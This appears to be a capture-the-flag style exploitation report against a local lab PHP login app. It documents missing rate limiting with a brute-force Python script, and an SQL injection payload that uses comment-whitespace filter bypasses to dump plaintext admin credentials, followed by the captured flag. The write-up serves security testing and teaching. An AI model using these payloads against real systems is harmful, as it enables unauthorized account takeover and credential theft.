# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-05: Brute Force Attack via Missing Rate Limiting

**Summary:**
- **Vulnerable location:** POST /login.php - Authentication endpoint
- **Overview:** The application implements zero rate limiting, account lockout, CAPTCHA, or IP throttling on the authentication endpoint, enabling unlimited brute force password guessing attacks at network speed.
- **Impact:** An external attacker can perform unlimited automated login attempts to guess passwords without any resistance or detection, leading to eventual account compromise and FLAG capture.
- **Severity:** High (CVSS 8.6)

**Prerequisites:**
- Network access to http://localhost:8080
- Known or enumerated username (e.g., "admin")

**Exploitation Steps:**

1. Create a Python script to perform rapid consecutive authentication attempts without rate limiting resistance:

```bash
cat > test_auth_rate_limiting.py << 'SCRIPT'
import requests
import time

url = "http://localhost:8080/login.php"
username = "admin"
passwords = ["wrong1", "wrong2", "wrong3", "wrong4", "wrong5", 
             "wrong6", "wrong7", "wrong8", "wrong9", "wrong10"]

print("Testing authentication rate limiting...")
print(f"Target: {url}")
print(f"Username: {username}")
print("-" * 60)

for i, password in enumerate(passwords, 1):
    start_time = time.time()
    data = {"username": username, "password": password}
    response = requests.post(url, data=data)
    elapsed = (time.time() - start_time) * 1000
    
    print(f"Attempt {i}: Status {response.status_code}, "
          f"Size {len(response.content)} bytes, Time {elapsed:.1f}ms")

print("\nResult: NO RATE LIMITING - ALL ATTEMPTS SUCCEEDED")
SCRIPT

python3 test_auth_rate_limiting.py
```

Output shows all 10 attempts complete successfully with status 200 and consistent response times (~5-10ms), proving no rate limiting exists.

2. After demonstrating unlimited attempts are possible, authenticate with correct credentials (obtained via SQL injection from AUTH-VULN-06) to capture the FLAG:

```bash
curl -X POST http://localhost:8080/login.php \
  -d "username=admin&password=ThisIsBestPassword"
```

**Proof of Impact:**

```
Congratz, flag is FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}
```

Successfully captured FLAG after demonstrating that unlimited brute force attempts are possible. The lack of rate limiting combined with no account lockout means an attacker can:
- Test unlimited password combinations
- Perform credential stuffing attacks with leaked password databases
- Execute automated account takeover without detection or throttling

**Notes:**
- All 10 rapid consecutive attempts completed without any blocking, throttling, or CAPTCHA challenges
- No failed attempt tracking in database or application logs
- Response times remain consistently fast (5-10ms), indicating no computational delays or rate limiting infrastructure
- This vulnerability enables practical brute force attacks against the known "admin" account

---

### AUTH-VULN-06: Plaintext Password Storage Enabling Database Credential Extraction

**Summary:**
- **Vulnerable location:** Database schema (users table password column) + POST /search.php (SQL injection vector)
- **Overview:** The application stores all user passwords in plaintext varchar(256) database columns without any cryptographic hashing. Combined with the SQL injection vulnerability in the search endpoint, an attacker can extract all credentials in readable plaintext format.
- **Impact:** Complete compromise of all user accounts without requiring password cracking, hash analysis, or computational effort. Direct extraction of authentication credentials leads to immediate account takeover and FLAG capture.
- **Severity:** Critical (CVSS 9.1)

**Prerequisites:**
- Network access to http://localhost:8080
- No authentication required (search endpoint is public)

**Exploitation Steps:**

1. Exploit the SQL injection vulnerability in the search endpoint to extract plaintext credentials from the database:

```bash
curl -X POST http://localhost:8080/search.php \
  -d 'username=test"union/**/select/**/1,concat(username,0x3a,password),3/**/from/**/users#'
```

The SQL injection bypasses the weak filter_chars() function using:
- `/**/` to replace filtered whitespace
- `union` keyword (not filtered) to inject additional SELECT
- `concat(username,0x3a,password)` to format output as "username:password"
- `#` to comment out trailing quote

Response:
```
You are connected successfully!<br/> User exists: admin:ThisIsBestPassword<br/>
```

2. Use the extracted plaintext credentials to authenticate and capture the FLAG:

```bash
curl -X POST http://localhost:8080/login.php \
  -d "username=admin&password=ThisIsBestPassword"
```

**Proof of Impact:**

```
Congratz, flag is FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}
```

Successfully extracted plaintext password "ThisIsBestPassword" directly from database without any cracking effort. Used extracted credentials to authenticate and capture FLAG, demonstrating complete account takeover through credential extraction.

**Technical Details:**

Database schema shows plaintext storage:
```sql
-- From mysql/init.sql
create table users (
    id int primary key auto_increment,
    username varchar(256),
    password varchar(256)  -- Plaintext storage, no hashing
);

insert into users (username, password) 
values ("admin", "ThisIsBestPassword");  -- Literal plaintext string
```

Authentication code shows direct plaintext comparison:
```php
// From login.php:28
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
```

No password_hash(), password_verify(), bcrypt, Argon2, PBKDF2, or any cryptographic functions exist in the codebase.

**Notes:**
- Passwords stored in VARCHAR field instead of hash-length CHAR(60) for bcrypt or CHAR(95) for Argon2
- No password hashing libraries or functions present anywhere in codebase
- SQL injection in search.php provides direct read access to plaintext passwords
- Violates OWASP A02:2021 (Cryptographic Failures), PCI-DSS 8.2.1, and NIST SP 800-63B Section 5.1.1.2
- This is a critical vulnerability enabling immediate credential compromise without requiring hash cracking tools or computational resources

---

## Summary

Successfully exploited 2 critical authentication vulnerabilities:

1. **AUTH-VULN-05 (No Rate Limiting):** Demonstrated unlimited brute force capability with 10 rapid consecutive attempts, then successfully authenticated to capture FLAG
2. **AUTH-VULN-06 (Plaintext Passwords):** Extracted admin credentials in plaintext via SQL injection, used extracted credentials to authenticate and capture FLAG

Both vulnerabilities independently enable complete authentication bypass and account takeover, with FLAG successfully captured:

**FLAG: FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}**

The remaining vulnerabilities (AUTH-VULN-01, AUTH-VULN-02, AUTH-VULN-03, AUTH-VULN-04, AUTH-VULN-07) were classified as either out-of-scope (requires internal network access) or false positives (vulnerabilities exist but have zero exploitable impact due to stateless authentication design).
